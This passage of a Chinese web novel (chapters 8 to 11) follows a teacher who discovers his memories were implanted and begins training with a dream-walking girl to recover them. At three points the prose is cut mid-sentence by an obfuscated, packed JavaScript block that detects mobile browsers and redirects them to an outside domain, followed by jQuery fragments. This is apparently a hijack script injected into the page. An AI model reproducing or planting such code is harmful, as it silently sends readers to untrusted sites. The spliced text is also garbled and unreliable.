她送我到社区活动中心门口,和我告别的时候,她让我好好想一想,接下来要怎么办。我想她大概是愿意帮我的,假如我真的想要把这些记忆找回来,但我又想起那个噩梦。假如那个噩梦是真的,我真的被追杀,被倒吊在暴风雨中,我……这些经历足以让一个人在惊恐中度过几年甚至十几年的时间,而那还很可能是我过去的冰山一角。
假如我忘记今天,就当这一切都没发生过,我还是江夷,一个躺平混吃等死的普通中学老师,我也许能正常地生活,正常地恋爱,结婚,生小孩,度过平凡的一生。但……但我是谁?假如今天不曾存在,假如我不曾知道我的过去曾经被篡改,我确实可以这样过下去。但我是谁?
我活在一个虚假的我里面,我是一个活着的幻影。
我想我很难说服自己就这样糊里糊涂地活下去。
8. 梦是没有开头的
第三章
我家就在学校附近,虽说我工作的学校不怎么样,但这一带是市里名校的聚集地,市里比较好的小学都在附近。我家在一个旧小区里面,房子面积不大,但这里因为是学区房,价格都不便宜。小区里的户主大多都搬出去了,平时我上班下班碰到的,大多数是在这里买房读书的家长和小孩。我在这里住了这么久,我从来就没有怀疑过,我一个出生于海边贫穷小镇,父母早亡由奶奶带大的年轻人,到底是怎么凑到几百万一口气把这房子买断的。
我想起之前我们几个同事在路迢家里喝酒,路老师喝多了要重温《盗梦空间》,说在这种半梦半醒的时刻看,会有不同的体会。最后他在那里看完全程,我和其他人看着看着陆陆续续都睡着了,借着酒精和电影的背景音,睡得还挺香。我睡着之前的最后一幕,是筑梦师阿瑞阿德涅,她和莱昂纳多演的男主角柯布身在梦境中,柯布告诉她,他们现在正在做梦,之后他问她,你记得你怎么来的吗?她这才发现自己在梦里,因为梦是没有开头的,故事忽然开始,而她忽然就出现在这个地方。
珩问我以前的事,问我以前的朋友,问我的家人,我一点都回答不上来。我就像梦里的阿瑞阿德涅一样,但因为我的脑海里从来没有“怀疑”这个概念,所以我从来没去观测我记忆里的暗区,尽管我的记忆断断续续,我的世界没头没尾,我也就这样理所当然地生活了下去。
之前我没刻意去比对,但自从今天珩跟我说了那些话,我此时坐在沙发上回想,真正属于我的记忆,和那些被“设定”的记忆,确实有些细微的差别。真正的记忆是互相联系的,而那些被插进来的却不会。我喜欢踢足球,想起足球的时候,夏天青草地的味道,还有摔在地上的时候草叶和泥土擦过皮肤的灼痛,相关的记忆会一并随着“足球”这个概念浮现。足球……我忽然想起四年前的九月三十号,假期的前一天,我在操场被一个足球踢中后脑勺。这时候我在想足球,我想起了摔倒的疼痛,却没想起这一段让我直接进医院躺了一个假期的疼痛。
这段记忆……好像是假的。
四年前的九月三十号。四年前的九月三十号。我真假记忆的分水岭,好像就在这里。
意识到这一点之后,我蹭地从沙发上弹起来,之后就开始翻东西。
我是个喜欢收藏东西的人,电视周围的陈列柜上,放了一些我近两年出去旅游买的纪念品,还有带学生去参加各种比赛拿的奖杯奖座。但我这样一个人的家里,却没有哪怕一本从前的相册。我没有书,不买杂志,不看报纸,因为我被设定成这样。我把我的家翻过来,又翻过去,果然没有找到任何早于四年前那个九月三十号的东西。
我在房间里找到了我的病历本。两个一模一样的病历本,安静地躺在抽屉里。它们都是我从家附近医院的自助购买机那里买的。新的那个是我去年肠胃炎上吐下泻,什么也没带直接从学校打车到医院,临急临忙买的。我翻开病历,里面贴着一张急诊病历,A5大小,黄色纸打印,上面写着“呕吐、腹泻2小时”,底下是一堆电脑同步出来的医嘱,和急诊医生潦草的签名。这是真的。那天吐得头晕眼花的记忆还很鲜活,这肯定是一份真的病历。
另一本呢,我也翻开。这本病历是四年前我被球踢中,去同一间医院的神经内科急诊看病时买的。这病历年代稍微久远一些,纸张略有发黄,病历是手写的,医生用的蓝黑色墨水笔,时至今日,笔迹已经氧化成灰绿色。字迹依然十分潦草,我联系实际记忆,只能勉强看出“头晕1天”,“头颅增强CT”,“收入院”几组字词。
头晕……脑子里有零散的,关于足球,疼痛和头晕的记忆。但是那个把球踢到我头上的学生呢?没有记忆。他把一个老师踢伤了,却没跑过来道歉。CT……想不起来。我不知道CT机长什么样。住院部……有一点点记忆。隔壁住着谁?我的隔壁好像是一块从来没拉开过的蓝色帘子。
二十分钟之后,我赶到了附近的医院。
医院很大,四处都长得一样,现在是下午四点半,距离理论上的下班时间只剩半个小时,但无论是急诊门诊取药窗口还是付费窗口,人都多得过分。在这样一个所有人都被迫加班的周六,每个人看起来都很不耐烦。我拿着两个病历本和我的证件,彷徨地在人群中穿梭。医院里楼和楼之间都是连通的,因为人太多,我看不清地上贴着的指引箭头,走错了几次之后,我在四点四十五分抵达病案室。
前面排队的人还很多,我拿过旁边台子上的咨询表,一边排队一边填。填完个人信息,填到“您要复印的病案时间”一项,我迟疑了。2021年9月30日,我的门诊病历是这么写的,我是在这一天住院的。但真的是这一天吗?那颗怀疑的种子,那颗该死的怀疑的种子。它让我怀疑起了关于我自己的一切。
思前想后,最后我还是决定把这一栏空着。
等排到我的时候,时间已经是五点半了。病案室的工作人员不仅周六上班,还加班半小时,他的脸已经变得非常臭,而我后面甚至还排了快十个人,他们脸上的表情更加难看。前面人刚走,我就被后面着急的人假装不经意地推到窗口前面。脸很臭的工作人员头也没抬,他的声音从窗口上小小的麦克风上传来:“身份证和就诊卡出示一下。”
我把我的身份证和就诊卡递到窗口里,里面人看了一眼,对我说道:“江夷先生是吗?”
这一个多小时里,怀疑已经长满了我的大脑,听到我自己的名字,我还愣了一下,对方很不耐烦地重复了一遍:“江——夷——是吗?”我才反应过来要点头。
他说话像机关枪:“要复印什么时候的病历?”
“2021年9月30号的。”
“21年?”来复印病历的大多数是要办请假或者报销的人,他们都会卡着病历归档的时间点,尽快去复印,听到这个久远的时间,对面人又看了我一眼。“9月30号出院的是吗?”
“不是,9月30号入院的,出院时间我不记得了。”
对面人盯着屏幕看,他把屏幕从上看到下,又从下看到上,之后看向我。
“您2021年没有住院记录,确认是2021年的病历吗?”他在电脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957359|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上又点了几下,“您在我们医院就没有过住院记录。”
“啊?不好意思,我记不太清楚了,可能不是2021年,以前呢?你们医院换过系统吗?”
“2008年之后的病历都同步了。”他看了一眼我的身份证,“您确定在我们这里住过院?”
“……我确定。”
“哪个科?”
“神经内科……?”我趴在窗口上,但我当然是看不见里面的电脑屏幕,“门诊呢?没有住院记录,门诊有吗?急诊?急诊有吗?”
工作人员又抬头看了我一眼。他那一刻的眼神很奇怪,像是一段马上就要发的脾气,忽然被我一句话摁在了眼睛里面。从前的江夷一定是个感情丰富,而观察力又极佳的人,自从他侵占了我一部分的胸腔,我对于人情绪的感知就敏锐了很多。工作人员很不耐烦,他一开始看到我这个年轻人,本以为是个好沟通的,结果发现我什么都说不清楚,所以他比对其他阿伯阿婆态度更差。但从我说出“神经内科”的那一刻,他的表情忽然间变了。他先是警觉地看向我的脸,看向我的手,确认我没有表现出任何攻击性之后,他看向我的眼睛。
“先生您在我们这里只有一次就诊记录,是去年的四月份,您因为急性肠胃炎到急诊去了。”他看向我,神情霎时温和了下来,眼里虽然还有些残余的警惕,但好像觉得我很可怜,“您家人呢?您自己来的?”
“不好意思,那我可能记错了。”我说,之后收起他递过来的证件。我刚迈开一步,后面的人就从侧边绕了上来,企图用身体把我挤走。我是该赶紧走的,但我很累。我来之前其实已经预想到这样的结果,从我的春梦变成噩梦,从珩问我以前的事情,从我发现我想不起踢球的学生的开始,我早就预想到会有这样的结果,我只是抱有一丝侥幸,宁愿相信我是“被球踢中了脑震荡后遗症记性很差”,相信珩和人鱼电影院老板一样是个狡猾的想要从我这里赚钱的奸商,都不愿相信我生活的世界是虚构的。
五点四十五分,在我踏上下楼的扶梯的前一刻,我回头看了一眼。
病案室里没几个人在排队了,但座椅上依然坐满了复印完病历,正一张张翻看检查的人。他们看起来都不太高兴,我没有不高兴,像我这样一个人无所谓高兴与不高兴,我宁愿不高兴。至少他们知道自己是谁,知道自己的家人在哪里,知道自己生病了,知道自己生的是什么病。而我像个局外人一样看着来来往往的人,和现实的一切都很疏离。
……
再一次回到家,打开门,打开灯,熟悉的场景出现在眼前,我却觉得有些陌生。在我出去的这几个小时里,怀疑又在我的脑海里放肆地滋长,我看着我的家,忽然感觉到一种空落……这里所有的东西都属于我,但又好像都不属于我,现在在思考的这个人是我,又好像我胸腔里蜷缩着的二十岁江夷,才是真正的我。
准备洗澡的时候,我难得一次看向了镜子。我看着镜子里的我自己,这个承托着现在和过去的我的肉身,是我唯一始终确切地拥有着的实体。我看着镜子里自己的脸,之后我把衣服脱掉。
9. 我可以帮你
我就这样把身上的衣服全部脱掉,之后赤条条地站在镜子前面,看我在这世上唯一确切的所有物。
我大学学的散打,这肯定是假的。我回忆“散打”,理论知识出来了,训练场景出来了,回忆一下“受伤”,疼痛的感觉出来了,校医院的画面出来了,怎么受伤的?找不到记录。我看向镜子里的我自己,这确实是一个常年进行体能训练的人的身体,很结实,但肌肉匀称,无论哪一个部分看着都不会分外突出,平日里套一件宽松的衣服,看起来就是一个体态比较挺拔的普通人,看不出丝毫训练的痕迹,不像特意到健身房训练的人那样,肌肉线条经过精确计算,一看就是钱和时间的产物。我曾将我的敏捷和力量都归结于“大学学的散打”,但现在看来,显然不是如此。
我的身上有伤痕,自从二十岁的江夷住进我的胸腔,我就像一个近视的人戴上了眼镜,事物忽然就变清晰了,我不敢想象我居然曾经有过一个这么好用的脑子,我轻易地看出我身上的伤痕不像是训练时来的。
按照我这几年来受伤之后的经验,我不是一个容易留疤的人。我的下巴有一条很短的疤痕,那是以前去路迢家,我抱他的猫,猫给我来了一爪子。只有深达真皮以上的伤痕,比如猫爪子抓的,才会在愈合之后,留下一条瘢痕。我身上有不少类似的痕迹,散在分布,但主要集中在左边手臂,谁训练会训练出这种痕迹——由此可见我是真打架,事情可不是在擂台上打比赛这么和平。
我的右手摸过左边手臂上的伤痕,之后顺着手臂,我摸到了自己的胸口。很奇怪,我的左边肋骨上,有两个小小的隆起,像是骨折过后愈合形成的骨痂。因为身上肌肉比较发达,肌肉挡在外面,如果不是上手摸,根本就看不出来这里有异常。我的手指轻轻地按压着这两块骨痂,关于这次受伤的记忆当然是被抹掉了,但记忆连带着的恐惧——
“恐惧”这个词出现的瞬间,我胸腔里蛰伏着的二十岁江夷忽然冲出,就像那天我在水底图书馆,坐扶梯下负一层时那样,他忽然尖叫着从我的身体里冒了出来,之后双手将我的胸腔硬生生扯开。
那一瞬间我仿佛被扯到了那个恐怖的水底图书馆里,幸而我现在是在清醒状态,强烈的恐惧瞬间将我淹没,之后又立即退却。我的身体还在浴室里,镜子里的还是我自己。以前的我关于这次受伤的记忆似乎分外深刻,恐惧就像闪电一样,瞬间爆发出巨大的能量,之后又消失无踪。他恢复了平静,又蜷缩在我胸腔里属于他的一小块空间,不说话了。
我继续检查我自己的身体,除了那些细碎的伤痕,我的手腕上有勒痕,绳子勒得很紧,绳子上毛刺吃到肉里,留下和我下巴的猫爪印相似的几个点状瘢痕。而我脚上的勒痕更加明显,时日已久,愈合后的瘢痕成了淡淡的褐色,近看时犹如一副长在皮肤上的镣铐。我想起噩梦里的我自己,我被倒吊在窗外——真是刺激,说不定这是真实发生过的事情。
……
这一晚我当然是没睡好,我在做噩梦,做一个漆黑的,什么都看不见,但周围充满了恐惧的噩梦。
我六点多就醒了,八点钟我就到了社区活动中心门口。活动中心九点开门,我在那里站累了坐,坐累了站,珩依然没来。活动中心里的阿伯阿婆开始打麻将,做早操,义工开始和阿姨们一边聊家长里短一边做手工,我坐在门口的榕树底下等。我居然没有问珩要一个联系方式,我只能在这里等她。阿姨们说珩不爱看手机,喜欢睡懒觉,找不找得到她,基本上随缘。前一天给我开门的那个漂亮卷发阿姨,问我要不要给她打个电话,我有求于人,还打电话扰人清梦,于情于理都不妥当,于是我摆摆手,说,我再等等吧。
阿姨让我坐在现在这棵榕树底下,这里能看见外面大马路通往这条街的路口。阿姨说,珩就住在附近,每次都骑车来,你坐在这里,她要来了,你第一时间就能看到她。
我就坐在那里看路口,今天阳光很好,我昨晚几乎没睡,这大太阳和开放的空间,让做了一晚上噩梦的我难得找回一些安全感。我坐在围绕大榕树建的石墩上昏昏欲睡,睡着睡着,如有所感,我迷迷糊糊睁开眼。
这一睁眼,便看见那边路口一个骑着自行车的人影飞速而来,我一下子就站起来了。我站起来的动静好像有点大,在一群已经七老八十开始驼背的阿伯阿婆中间,站起来的我像个巨人。珩刹车的动作和骑车的速度一样急,她几乎是瞬间就刹停在我面前。我留意到她今天换了件不同颜色(但同样非常宽大不合身)的T恤,头发因为骑车骑得太快而吹得乱糟糟的,阳光落在她头上,绿色和金色的光乱闪。她骑的是一台二十八寸的旧单车,轮子和她竹竿一样的腿放一起,显得非常大,而车架子颜色掉了大半,看着很上年代,它不是上一辈传下来的宝贝,就是单车行里卖得很便宜的二手战损车。
看见她的那一刻,我的心情很复杂。我昨天才见过她,但中间这一天太长,太混乱,她开启了我的混乱,但现在也只有她有可能终止我的混乱。
“你来了。”我说。
她的神情略有变化,相比于昨天她面对我时全程毫无波动的平静表现,她刚刹停单车,抬头看我时的目光,似乎有一瞬间的松动。
“我以为你不会来了。”她把她的旧单车锁在栏杆上,“昨天过得怎样?”
说完,她回头看我一眼。
不怎样,太不怎样了,我把“不怎样”三个字都写在眼睛里了。一言难尽,实在是一言难尽。
“好幽怨的眼神,好大的黑眼圈,看来不太好。”她说,“跟我来吧。”
她转身往社区活动中心里面走,我跟在她后面,今天二十岁的江夷对她的警惕性不高,我实在有些好奇他——我是说以前的我——到底经历了什么,他好像一只被虐待过的流浪猫,对一切都警觉,经过了昨天的事情,他好像终于对珩建立起了一点信任,他短暂地把珩的警备级别从“可能会把我杀掉”降到了“暂时没想杀我”,我终于不用顶着120的心率走过这一段路。
今天我来得早,昨天睡我旁边躺椅上的两个阿婆没在,屋里只有珩和我两个人。
我在躺椅上躺下,珩坐在我旁边,从上面看着我。
我胸腔里的流浪猫不喜欢这个姿势,这是个容易被攻击而难以立即跳起来反抗的姿势,但我莫名地喜欢。躺椅上面铺的垫子很软,屋子里有些不知名的魔法,陷进躺椅之后,我马上就有些睡意。要知道我昨天被看不到任何东西的黑色噩梦折磨了整整一晚上,刚躺上去,我的防备就轻易地卸下。那些难以和路迢或是任何一个“正常”的朋友同事言说的诡异事情,迫不及待地就要涌上我的喉咙。
“我昨天……”
这是我认识她的第二天,但她是唯一一个知道我秘密的人。独自一人藏着许多噩梦的感觉很不好,在我有记忆的四年里,我从没有觉得自己像这样孤独又沉重过。我很想把昨天的事情都告诉她,过去那个感情细腻的江夷,让我的昨天分外的色彩鲜明——但因有十几年的记忆断档,我的表达跟不上感官,我无法很清晰地告诉她昨天的事情。
她感觉到了。她感觉到我的急切和语无伦次,她很适时地靠近我。
我的头好像被打了一下,再睁开眼时,房间还是那个房间,珩还是珩。但直觉告诉我,她把我放倒了,我现在在做梦。
“江先生,如果你不介意的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957360|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,我看一下你的记忆?”
我说好。
之后我瞬间回到了昨天的记忆里。她把我的记忆调到了十几倍的速度,我在我自己的身体里,眼睛看着自己快速地在客厅里移动,翻东西,跑到医院去,找病案室,排队,灰溜溜地回家。然后我站在浴室的镜子前面,看着镜子里的自己走神。因为开了倍速,我并没有意识到接下来给我反应的时间窗会变得非常短,所以非常突然地,我开始脱衣服。
我大喊:“停停停!!!”
她的手比我的嘴更快,她几乎是在我开始脱裤子的那一刻就按了暂停,但是因为她开了倍速,等画面停下来的时候,我的内裤已经脱一半了。
一直跟着记忆活动的我忽然获得了自主权,我感觉到珩从我的脑袋里仓皇地跳了出来,她落在我旁边,并不看我。意识到自己可以动的那一瞬间,我赶紧把内裤提上。
她不看我,也不看镜子,我感觉到了她的嫌弃,她说:“你在干什么?”
“我在检查我自己,”我匆忙捡起地上的裤子,“对不起,因为我翻了一圈,我只能确认这身肉是真的。”
她背向我的身影一顿,之后空气中有些微妙的沉默,她不说话,我不敢说话,浴室里只剩了我穿裤子的声音。
她忽然转过来,这下轮到我慌忙背过身去。
“所以你发现了什么?”
她没嫌弃我了,她在认真发问,甚至有些关心。她看着我,昨天我说不出任何一个旧朋友的名字时,她也这样看着我。
我把裤子穿好,手伸到她面前:“这里有勒痕,”我撩起裤腿,露出脚腕,“这里也有……被倒吊的事情可能是真的,脚上的勒痕比手上的深很多。”
她抬头看我,我发现她体型其实很小,只是因为她身形瘦长,兼之能使用一些不知名的法术,随随便便把我放倒,我对她的高度有点误会。
她的眼睛只在我胸口的位置,她盯着我看,显然是察觉到我的两边胸廓略微有些不对称。
“左边肋骨断过,两根。”我解释道。
“我记得你说过在图书馆负一层,他……”
“对,昨天我不小心碰到了,是一样的感觉,他发了疯一样地把我撕开,从心脏里冲出来。”一提到这事,我的手心就开始冒汗,我尽量在她面前表现得平静一些,“我总觉得这骨折是很久之前的事情了,至少比被倒吊要久远得多。但他好像特别害怕,特别特别害怕——”
她忽然伸手过来,她冰冷的指尖触碰到我的皮肤时,我不由得战栗了一下。而之后那种闪电般的疼痛如期而至,就像跳楼机开始坠落那一刻的失重,我知道我除了忍着,什么都做不了。
在她碰到我的瞬间,我闭上了眼睛,等待潮水般的恐惧来临。
但什么都没发生。我睁开眼,房间还是房间,珩还是珩。和昨天一样,我双眼失焦,心率每分钟180次,我盯着她看了十几秒,才终于看清了她。
我确实又被拉回到图书馆的负一层去,但她及时把我从梦境里拽了出来。
我从头到脚都汗涔涔的,呼吸急促,近乎喘息,像个从水里刚捞起来的溺水者。
“谢谢。”我逃过一劫,颤着声道谢。
她没回应我的感谢,倒说了些别的。
她说:“所以你决定好了,要找回以前的记忆?”
“是的。”
“哪怕里面可能很多类似这样的噩梦?”
她说“这样”的时候我身上的肌肉分明跳了一下,但我还是回答:“是的。”
“不后悔?”
“不后悔。”
“好吧,”她说,“我可以帮你。”
10. 珩的训练场
我可以帮你。
但是作为交换,你需要答应我几个条件。
我现在虽然住在一个二十六岁的身体里,但我——我是指现在这个负责思考和决策的人格——其实只有区区四年的做人经验。珩比我狡猾多了,她在我从噩梦中脱身,最彷徨的时刻,答应我要帮我。之后等我心率恢复,人足够清醒之后,她才开始跟我谈条件。
现在是早上十点,我和她站在社区活动中心的二楼走廊上,从我们这个位置可以看见楼下的花园。一个穿着红马甲的义工阿姨站在最前面,正领着一群跟不上节拍群魔乱舞的阿伯阿婆打太极。珩微微倾身,双手交叠,趴在栏杆上。阳光照在她的头上身上,她深绿色的头发衬得她的肤色发冷,白得有些过分。
“什么条件?”我问她。
她把目光从楼下的花园移开,她抬起头,看向前方,似乎是在思考。
“第一,我教你怎么找记忆,你就算是我的学徒,你得帮我干活。”
她看起来是不稀罕钱但也不缺钱那一类人,我一无所有,没什么可给她的,让我用劳动力来交换,非常合理。
“可以。”
“第二,我所教你的所有东西,不能用于除了‘找回你的记忆’以外的其他意图。”
我想起了人鱼电影院的老板。果然他那个“珩”和我这个“珩”有些渊源。
“没问题。”
“好,那最后一条,”她把目光从远处收回,侧过脸来看我,“你达到目的之后,你就要把我和这件事一起忘了,之后你不能再来找我,我们就当互相不认识。”
……
一定是实际年龄只有四岁的我,在这两天的惊吓中,拉住了她这根救命稻草,不知不觉间对她有些过分的信任和依赖,这个要求听起来有些冷酷,好像是怕我之后还缠着她似的。这话虽然让我略微有些不适,但我马上就理解了,确实我跟她不熟,而且我翻着翻着也不知道会翻出什么来,说不定我是个通缉犯,是个变态杀人狂,她肯帮忙已经算很不错,我总不能赖着别人不放手。
我迟疑了,她看着我,就等着我回答。
“行。”
闻言,她站直了身,之后转过去,背对着栏杆,又放松地靠下去。换做以前我会跟她一样靠着栏杆,但我胸腔里那个流浪猫,预设了一万种被人谋杀的死法,我被他弄得总疑心一靠上去栏杆就要断掉。她往我这里看,她神色悠然,而我像个傻子一样,笔挺挺地在她旁边站着。
她忽然向我伸出一个小指头。
我不明所以:“怎么了?”
她看我:“拉勾啊。”
我才反应过来这原来是个盟誓,看来她虽然狡猾,还是幼稚,今年四岁的本人在心里默默地想。我伸手过去,轻轻勾住了她的手指。她看来确实是有点太瘦了,气血不足,大夏天的,手还是很凉。刚刚还被她的第三个条件弄得有点不舒服的我,此时心情放松了下来,我说:“我这算是立誓拜师吗?人家电影里拜师都要杀鸡杀猪上香拜祖师爷的,怎么你就拉个勾,太敷衍了。”
“那都是些仪式,拿来唬人的,就好像我问你能不能让我看你的记忆一样,只要你的脑子同意了,你口头答应和签份合约,效力都是一样的。”她施施然倚在栏杆上,“我这里又不是公证处,拉过勾盟誓就算生效,一旦你不给我干活,你就算负约,就要受罚。”
“等等,什么?”我猛然瞪大眼睛,“你还没说要我给你干什么呢?”
“你干了就知道了。”
“那不干会罚什么?”
“你不干就知道了。”
我愣了两秒,忽然间捂着胸口,一刹那的功夫,额上已经全是冷汗。
“你怎么了?”她问。
“他发脾气,踹了我一脚。”我咬牙切齿,指着胸口回答。
“他?为什么?”
“因为我不看合同就签字。”
这个狡猾的,幸灾乐祸的,毫无同情心的女人,认识她两天了,她第一次笑居然是在这个我捂着胸口疼得龇牙咧嘴的时刻,她说我像XXXL号的西子捧心。
……
这天下午,我成了水厂街社区活动中心的注册义工。我在登记表上填身份证号的时候,珩就站在我旁边看着。我假装不经意地抬头,看了一下周围的人——漂亮卷发阿姨看着我,一副心中了然的样子;几个阿姨也看我,但她们目光八卦眼神狡黠,可能觉得我是醉翁之意不在酒,来这里当义工是为了追珩;做大锅饭的阿叔也盯着我看,我这个罕见年轻壮丁的加入,对于天天搬米搬菜搬到自闭的他来说,简直就是福音。填完表,贴完刚刚在路口照相馆新鲜拍的证件照,我跟着珩出来。
我问她:“他们知道你有超能力吗?”
“嗯,有的人知道,有的不知道。”
“谁知道?”
“欠我人情的知道,不欠的不知道。”
……用秘密交换秘密,把知情者吃得死死的,她比我那些诸如路迢之类的同事狡猾多了,我被她骗着签个合同也是情理之中,嗯,原谅自己。
我再一次问她我跟着她都得干些什么,她表示在让我正式以实习生身份上岗之前,她得先对我进行一下摸底考试,顺带岗前培训,以保证我不会砸了她的招牌,或者被吓死。她非常轻描淡写地把“被吓死”三个字跟在一堆破坏她口碑影响她赚钱吓跑她老客户之类的后果后面,好像我被吓死是一件无关紧要并且发生概率比较高的事,之前一直把她当世外高人当神仙看的我,头一次有种上了贼船的感觉。
她带我在社区活动中心里转了一圈,介绍每个房间的用途,之后让我挑一个房间,说是以后的训练都在那里进行。这时候我们刚吃过午饭,我有点晕碳,正好又走到之前那条走廊里,中午的时候这里的阳光实在好,我困得走不动,挑了原本的房间,走向熟悉的躺椅,之后就一屁股坐下。
我躺在躺椅上,她又拉了个凳子,坐在我身旁。
我听见她的声音在耳边漂浮,它变成一片半透明的纱,罩在我的脸上,让我有点缺氧,有点发昏。
她说:“人的梦境是最私密的地方,就算是走进一个未经训练的普通人梦里,都会被对方的潜意识抵抗。”
我一半神经已在麻醉状态,发不出半点声音,我只能点了点头。
她又说:“而你以前是个筑梦师,受过专业的训练,你的梦境里布满机关和陷阱,而现在的你有可能会被识别成外来入侵者。”
我又点头。
她说:“你要服从我的命令,记住我跟你说的每一句话。”
我想要点头的那一瞬间,地板陡然塌陷。
等我的脚再次踩到地面时,周围已经没有光了。这里的空气特别潮湿,四处有滴滴答答的水声,好像在下雨,又好像是在一个漏水的屋子里。
“这是哪里?”我问珩。我的声音有回响,这是在室内。
“训练场,我在你的梦里临时建的。”她说,之后她“咔哒”一声打开手电筒,手电筒的白光照出一条光路,她没回头看我,径直就往前走。“跟着来。”
地上有水,这种潮湿黏腻的感觉让人很不舒服,空气里似乎还有些许发酵的味道,像陈年的淤泥和垃圾。我有点想问为什么要建个这种环境的训练场,但是我感觉我问得有点太多了,珩给我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957361|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那些模棱两可语焉不详的回答,让我感觉她好像不是很想理我。我不知道以前的我是怎样的一个人,现在的我有点讨好型人格,我好像很怕被讨厌。今天她在我的记忆里,我开始脱衣服的时候她跳出来,那嫌弃的眼神我忘不掉。虽然我知道任何一个像她一样年纪的女生,看见一个男的莫名其妙在面前脱衣服,都会是这个反应,但我还是有点说不清的不舒服。她走得很快,我跟在后面,一路没说话。
走了大概五分钟,我感觉周围的空气更加潮湿了,同时有些食物腐败的气味在漂浮。她忽然停住脚步,我差点没刹住,幸好没撞到她身上。
环境很黑,只有她手电筒光照着的地方是亮的。
她转向我,那一刻的眼神像极了我课间在教学楼里闲逛,看见教室里正在明目张胆拖堂,并且火眼金睛逮着走神的学生就点起来回答问题的初三级数学科科组长。
我的直觉果然没错,她果然要点我回答问题,天下老师果然一般同。
“现在开始测试,第一个问题,”她说,“人储存记忆的特点是?”
是?是?是?我没有记忆。这何止是超纲问题,简直是进错考场。
“不知道。”
“记忆丢失,而且一点都没打算思考。”
“……”
我灰溜溜地站在旁边不敢吱声,幸好她真心想教我,看我真不记得了,她把手里的手电筒调高一档,光路瞬间穿到更远的地方。“你的记忆就像这个房间,但它是黑的,你只能看见你照亮的地方。”她说,“这叫‘观测’。人的记忆和图书馆里放的书不一样,图书馆里的书,就算你不看它,它也存在,它是物质的。你的记忆不是物质的,想不起来就等于没有。”
说实话以我四岁的智商,我听不懂,我看着她的手电筒,假装在思考,其实是不敢跟她眼神交流。但我没跟她眼神交流,她依然继续提问。
“所以第二个问题,”她问,“怎么才能让你的记忆量更大?”
“……多读多看多背。”
“路迢教你的?他是语文老师吧?他是英语老师的话,你是不是会回答‘多听多写多说’?”
我今天真是梦回小学初中,我站在她旁边一点没敢动,像个上课被点起来回答问题,接二连三接三连四一个字都答不出来的后排差生。
“你要让你的‘观测’范围更广,明白吗,第三个问题,怎样让——”
她说到一半回头看我,我那一刻的表情肯定很不好看,我肯定看起来非常的窘迫,非常的不知所措,并且因为觉得自己丢人,脸非常红——因为她在看到我的那一刻好像笑了一下。……这个幸灾乐祸,落井下石,毫无同理心的女人。
“算了不问了,不为难你了。”她拧了一下手里的手电筒,电筒发出的光路变宽,眼前的路亮了一大片。“你想象一棵树,或者想象一个这样的手电筒。你要通过一个接一个的分支,逐渐扩大你能记起来的范围,这就是‘联想’。观测,联想,记住了吗?只有你想起来的东西才存在,你要通过联想让自己想起更多的东西。”
我这下算是有点明白了,我点点头,她看向我,见我终于有点像是听懂了的样子,十六岁的眼睛里现出六十岁老母亲的欣慰,她呼出一口气,说:“行,那就这样吧,理论知识考完了,电筒给你,我回去了。”
我听说“考完了”,暗舒一口气,之后我猛然发现电筒在我手里,而她走了。
“喂,等等我啊!”
“我先回去,你还没考完呢,这不是才考完理论。”
“哈?”我追上去,四周滴滴答答的水声让我心里发毛,“后面还考什么?”
11. 虫出没
PS:本章有虫注意!怕虫的朋友可以在描写部分开始时速速划过
她不说话了。我也追不上去了,因为我面前被电筒照亮的地方,是好几根横在路中间的树干。树干是褐色的,上面长满粗大的尖刺,树干后面还是一块高大的巨石,电筒光范围有点小,我看不到路。我把电筒拿到面前看,找到了珩调照明范围大小的开关,我学她拧了一下电筒头,白光瞬间扩大,眼前的巨石被照得彻亮,巨石足有三层楼高,楼顶是两颗闪亮亮的玻璃球,和两条很长很长的天线,伸入光线以外的黑暗。
不是……
不是……
它动了。
那堆长着尖刺的树干动了。树干是长在巨石上面的。
不是……
不是……这好像不是树和石头。
这他妈是只三层楼高的大蟑螂!
我在它那堆毛茸茸的三米大腿动起来之前猛地惊醒,当我发现我又坐在社区活动中心的躺椅里,而珩站在我面前时,我仿佛劫后余生,甚至有一瞬间觉得好幸福。这次惊醒的反应没有之前强,我的心跳非常平稳,视野也很清楚。我清楚地看见珩抱着双臂站在那里,居高临下地看我。
“梦境稳定性评分,0。”她面无表情地说,“没想到你一个大男人,居然能被蟑螂吓醒。”
“不是,谁能不被吓醒啊,”我争辩,“三层楼高的大蟑螂!腿比我人还粗!”
“我这是降低难度了好吗?三层楼高的蟑螂,那肯定是只假蟑螂,你说你梦见一只巴掌大的蟑螂骑你脸上,和梦见三层楼高的大蟑螂挡你面前,哪个比较恐怖?”
……都很恐怖好吗!!!
